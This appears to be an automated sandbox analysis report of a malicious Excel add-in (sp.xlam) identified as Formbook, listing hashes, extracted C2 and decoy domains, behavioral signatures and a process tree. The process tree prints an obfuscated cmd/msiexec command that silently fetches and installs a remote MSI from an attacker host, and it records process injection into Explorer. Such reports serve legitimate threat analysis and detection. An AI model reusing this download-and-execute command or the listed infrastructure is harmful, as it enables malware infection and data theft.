Analysis
-
max time kernel
150s -
max time network
140s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
05-05-2021 13:38
Static task
static1
Behavioral task
behavioral1
Sample
sp.xlam
Resource
win7v20210410
General
-
Target
sp.xlam
-
Size
15KB
-
MD5
399563af4221cc2c176d8f218d6a563d
-
SHA1
72251218c8127abeab4c04944445c18bdac2688f
-
SHA256
cc9cefa7960d991d414051f5fe153ffa514a2e687143dd2b1b6966edbbcadbec
-
SHA512
bb0aef3126bc94f5bc32bddc96b4c6720b4eeeaa91c1a80c95039d4c88871fdc33ceef7cd579bd00d4acbc62987f9e6c0fa7efa08de81e4a4db8194f81f6ebea
Malware Config
Extracted
formbook
4.1
http://www.111bjs.com/ccr/
abdullahlodhi.com
jevya.com
knoxvillerestaurant.com
mekarauroko7389.com
cricketspowder.net
johannchirinos.com
orangeorganical.com
libero-tt.com
lorenaegianluca.com
wintab.net
modernmillievintage.com
zgdqcyw.com
jeffabildgaardmd.com
nurulfikrimakassar.com
findyourchef.com
innovationsservicegroup.com
destek-taleplerimiz.com
whfqqco.icu
kosmetikmadeingermany.com
dieteticos.net
savarsineklik.com
newfashiontrends.com
e-mobilitysolutions.com
spaced.ltd
amjadalitrading.com
thejstutor.com
zzhqp.com
exoticomistico.com
oklahomasundayschool.com
grwfrog.com
elementsfitnessamdwellbeing.com
auldontoyworld.com
cumhuriyetcidemokratparti.kim
thetruthinternational.com
adimadimingilizce.com
retreatwinds.com
duoteshop.com
jasonkokrak.com
latindancextreme.com
agavedeals.com
motz.xyz
kspecialaroma.com
yuejinjc.com
print12580.com
ampsports.tennis
affordablebathroomsarizona.com
casnop.com
driftwestcoastmarket.com
bjsjygg.com
gwpjamshedpur.com
reserveacalifornia.com
caobv.com
culturaenmistacones.com
back-upstore.com
jjsmiths.com
iamxc.com
siobhankrittiya.com
digitalakanksha.com
koatku.com
shamushalkowich.com
merplerps.com
fishexpertise.com
sweetheartmart.com
nqs.xyz
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1792 1040 cmd.exe EXCEL.EXE -
Formbook Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1320-74-0x0000000000400000-0x000000000042E000-memory.dmp formbook behavioral1/memory/652-81-0x00000000000C0000-0x00000000000EE000-memory.dmp formbook -
Blocklisted process makes network request 1 IoCs
Processes:
msiexec.exeflow pid process 7 608 msiexec.exe -
Executes dropped EXE 2 IoCs
Processes:
MSI2243.tmpMSI2243.tmppid process 1468 MSI2243.tmp 1320 MSI2243.tmp -
Loads dropped DLL 1 IoCs
Processes:
MSI2243.tmppid process 1468 MSI2243.tmp -
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid process 1688 msiexec.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exedescription ioc process File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
MSI2243.tmpMSI2243.tmpsystray.exedescription pid process target process PID 1468 set thread context of 1320 1468 MSI2243.tmp MSI2243.tmp PID 1320 set thread context of 1208 1320 MSI2243.tmp Explorer.EXE PID 652 set thread context of 1208 652 systray.exe Explorer.EXE -
Drops file in Windows directory 6 IoCs
Processes:
msiexec.exedescription ioc process File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI21F3.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2243.tmp msiexec.exe File opened for modification C:\Windows\Installer\f74202f.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI1C66.tmp msiexec.exe File created C:\Windows\Installer\f74202f.ipi msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
NSIS installer 6 IoCs
Processes:
resource yara_rule C:\Windows\Installer\MSI2243.tmp nsis_installer_1 C:\Windows\Installer\MSI2243.tmp nsis_installer_2 C:\Windows\Installer\MSI2243.tmp nsis_installer_1 C:\Windows\Installer\MSI2243.tmp nsis_installer_2 C:\Windows\Installer\MSI2243.tmp nsis_installer_1 C:\Windows\Installer\MSI2243.tmp nsis_installer_2 -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE -
Modifies data under HKEY_USERS 1 IoCs
Processes:
msiexec.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad msiexec.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1040 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 31 IoCs
Processes:
msiexec.exeMSI2243.tmpsystray.exepid process 608 msiexec.exe 608 msiexec.exe 1320 MSI2243.tmp 1320 MSI2243.tmp 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe 652 systray.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
MSI2243.tmpMSI2243.tmpsystray.exepid process 1468 MSI2243.tmp 1320 MSI2243.tmp 1320 MSI2243.tmp 1320 MSI2243.tmp 652 systray.exe 652 systray.exe -
Suspicious use of AdjustPrivilegeToken 50 IoCs
Processes:
msiexec.exemsiexec.exeMSI2243.tmpsystray.exeExplorer.EXEdescription pid process Token: SeShutdownPrivilege 1688 msiexec.exe Token: SeIncreaseQuotaPrivilege 1688 msiexec.exe Token: SeRestorePrivilege 608 msiexec.exe Token: SeTakeOwnershipPrivilege 608 msiexec.exe Token: SeSecurityPrivilege 608 msiexec.exe Token: SeCreateTokenPrivilege 1688 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1688 msiexec.exe Token: SeLockMemoryPrivilege 1688 msiexec.exe Token: SeIncreaseQuotaPrivilege 1688 msiexec.exe Token: SeMachineAccountPrivilege 1688 msiexec.exe Token: SeTcbPrivilege 1688 msiexec.exe Token: SeSecurityPrivilege 1688 msiexec.exe Token: SeTakeOwnershipPrivilege 1688 msiexec.exe Token: SeLoadDriverPrivilege 1688 msiexec.exe Token: SeSystemProfilePrivilege 1688 msiexec.exe Token: SeSystemtimePrivilege 1688 msiexec.exe Token: SeProfSingleProcessPrivilege 1688 msiexec.exe Token: SeIncBasePriorityPrivilege 1688 msiexec.exe Token: SeCreatePagefilePrivilege 1688 msiexec.exe Token: SeCreatePermanentPrivilege 1688 msiexec.exe Token: SeBackupPrivilege 1688 msiexec.exe Token: SeRestorePrivilege 1688 msiexec.exe Token: SeShutdownPrivilege 1688 msiexec.exe Token: SeDebugPrivilege 1688 msiexec.exe Token: SeAuditPrivilege 1688 msiexec.exe Token: SeSystemEnvironmentPrivilege 1688 msiexec.exe Token: SeChangeNotifyPrivilege 1688 msiexec.exe Token: SeRemoteShutdownPrivilege 1688 msiexec.exe Token: SeUndockPrivilege 1688 msiexec.exe Token: SeSyncAgentPrivilege 1688 msiexec.exe Token: SeEnableDelegationPrivilege 1688 msiexec.exe Token: SeManageVolumePrivilege 1688 msiexec.exe Token: SeImpersonatePrivilege 1688 msiexec.exe Token: SeCreateGlobalPrivilege 1688 msiexec.exe Token: SeRestorePrivilege 608 msiexec.exe Token: SeTakeOwnershipPrivilege 608 msiexec.exe Token: SeRestorePrivilege 608 msiexec.exe Token: SeTakeOwnershipPrivilege 608 msiexec.exe Token: SeRestorePrivilege 608 msiexec.exe Token: SeTakeOwnershipPrivilege 608 msiexec.exe Token: SeRestorePrivilege 608 msiexec.exe Token: SeTakeOwnershipPrivilege 608 msiexec.exe Token: SeRestorePrivilege 608 msiexec.exe Token: SeTakeOwnershipPrivilege 608 msiexec.exe Token: SeRestorePrivilege 608 msiexec.exe Token: SeTakeOwnershipPrivilege 608 msiexec.exe Token: SeDebugPrivilege 1320 MSI2243.tmp Token: SeDebugPrivilege 652 systray.exe Token: SeShutdownPrivilege 1208 Explorer.EXE Token: SeShutdownPrivilege 1208 Explorer.EXE -
Suspicious use of FindShellTrayWindow 6 IoCs
Processes:
EXCEL.EXEExplorer.EXEpid process 1040 EXCEL.EXE 1040 EXCEL.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE -
Suspicious use of SendNotifyMessage 4 IoCs
Processes:
Explorer.EXEpid process 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1040 EXCEL.EXE 1040 EXCEL.EXE 1040 EXCEL.EXE -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
EXCEL.EXEcmd.exemsiexec.exeMSI2243.tmpExplorer.EXEsystray.exedescription pid process target process PID 1040 wrote to memory of 1792 1040 EXCEL.EXE cmd.exe PID 1040 wrote to memory of 1792 1040 EXCEL.EXE cmd.exe PID 1040 wrote to memory of 1792 1040 EXCEL.EXE cmd.exe PID 1040 wrote to memory of 1792 1040 EXCEL.EXE cmd.exe PID 1792 wrote to memory of 1688 1792 cmd.exe msiexec.exe PID 1792 wrote to memory of 1688 1792 cmd.exe msiexec.exe PID 1792 wrote to memory of 1688 1792 cmd.exe msiexec.exe PID 1792 wrote to memory of 1688 1792 cmd.exe msiexec.exe PID 1792 wrote to memory of 1688 1792 cmd.exe msiexec.exe PID 1792 wrote to memory of 1688 1792 cmd.exe msiexec.exe PID 1792 wrote to memory of 1688 1792 cmd.exe msiexec.exe PID 608 wrote to memory of 1468 608 msiexec.exe MSI2243.tmp PID 608 wrote to memory of 1468 608 msiexec.exe MSI2243.tmp PID 608 wrote to memory of 1468 608 msiexec.exe MSI2243.tmp PID 608 wrote to memory of 1468 608 msiexec.exe MSI2243.tmp PID 1468 wrote to memory of 1320 1468 MSI2243.tmp MSI2243.tmp PID 1468 wrote to memory of 1320 1468 MSI2243.tmp MSI2243.tmp PID 1468 wrote to memory of 1320 1468 MSI2243.tmp MSI2243.tmp PID 1468 wrote to memory of 1320 1468 MSI2243.tmp MSI2243.tmp PID 1468 wrote to memory of 1320 1468 MSI2243.tmp MSI2243.tmp PID 1208 wrote to memory of 652 1208 Explorer.EXE systray.exe PID 1208 wrote to memory of 652 1208 Explorer.EXE systray.exe PID 1208 wrote to memory of 652 1208 Explorer.EXE systray.exe PID 1208 wrote to memory of 652 1208 Explorer.EXE systray.exe PID 652 wrote to memory of 2044 652 systray.exe cmd.exe PID 652 wrote to memory of 2044 652 systray.exe cmd.exe PID 652 wrote to memory of 2044 652 systray.exe cmd.exe PID 652 wrote to memory of 2044 652 systray.exe cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\sp.xlam2⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C m^SiE^x^e^c /i http://farm-finn.com//admin/56701.msi /qn3⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exemSiExec /i http://farm-finn.com//admin/56701.msi /qn4⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\systray.exe"C:\Windows\SysWOW64\systray.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Windows\Installer\MSI2243.tmp"3⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Installer\MSI2243.tmp"C:\Windows\Installer\MSI2243.tmp"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Installer\MSI2243.tmp"C:\Windows\Installer\MSI2243.tmp"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Windows\Installer\MSI2243.tmpMD5
c143786765f282d07d418fe98d4fe91a
SHA1d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8
SHA256c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6
SHA51214af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf
-
C:\Windows\Installer\MSI2243.tmpMD5
c143786765f282d07d418fe98d4fe91a
SHA1d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8
SHA256c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6
SHA51214af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf
-
C:\Windows\Installer\MSI2243.tmpMD5
c143786765f282d07d418fe98d4fe91a
SHA1d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8
SHA256c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6
SHA51214af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf
-
\Users\Admin\AppData\Local\Temp\nsi22EE.tmp\xdqurci0.dllMD5
42b244a4f9d3af1a2788452e5507b0be
SHA14f59185e37d87cf7d4a0c43bc4f26b092c21e4bf
SHA25614ade88d57789eb08d264b56ff0b46317452e50702285aff672ff12768e45c4f
SHA512df0b5fc0fa680ff5ef849e3c9c312e07e4d741054dba3a9c9a7c05cfc2b99fba09776e864494a579cc34ba985c431d22de9917836cb38d1de05b9aea93fb55fa
-
memory/608-65-0x000007FEFBA81000-0x000007FEFBA83000-memory.dmpFilesize
8KB
-
memory/652-78-0x0000000000000000-mapping.dmp
-
memory/652-83-0x0000000000370000-0x0000000000403000-memory.dmpFilesize
588KB
-
memory/652-82-0x0000000000B20000-0x0000000000E23000-memory.dmpFilesize
3.0MB
-
memory/652-81-0x00000000000C0000-0x00000000000EE000-memory.dmpFilesize
184KB
-
memory/652-80-0x0000000000E70000-0x0000000000E75000-memory.dmpFilesize
20KB
-
memory/1040-61-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1040-60-0x0000000071191000-0x0000000071193000-memory.dmpFilesize
8KB
-
memory/1040-59-0x000000002F821000-0x000000002F824000-memory.dmpFilesize
12KB
-
memory/1208-77-0x0000000004D30000-0x0000000004E7C000-memory.dmpFilesize
1.3MB
-
memory/1208-84-0x0000000004EA0000-0x0000000004FBA000-memory.dmpFilesize
1.1MB
-
memory/1320-74-0x0000000000400000-0x000000000042E000-memory.dmpFilesize
184KB
-
memory/1320-75-0x0000000000900000-0x0000000000C03000-memory.dmpFilesize
3.0MB
-
memory/1320-76-0x0000000000340000-0x0000000000354000-memory.dmpFilesize
80KB
-
memory/1320-72-0x000000000041EBB0-mapping.dmp
-
memory/1468-66-0x0000000000000000-mapping.dmp
-
memory/1468-71-0x00000000003D0000-0x00000000003D2000-memory.dmpFilesize
8KB
-
memory/1688-64-0x0000000074F31000-0x0000000074F33000-memory.dmpFilesize
8KB
-
memory/1688-63-0x0000000000000000-mapping.dmp
-
memory/1792-62-0x0000000000000000-mapping.dmp
-
memory/2044-79-0x0000000000000000-mapping.dmp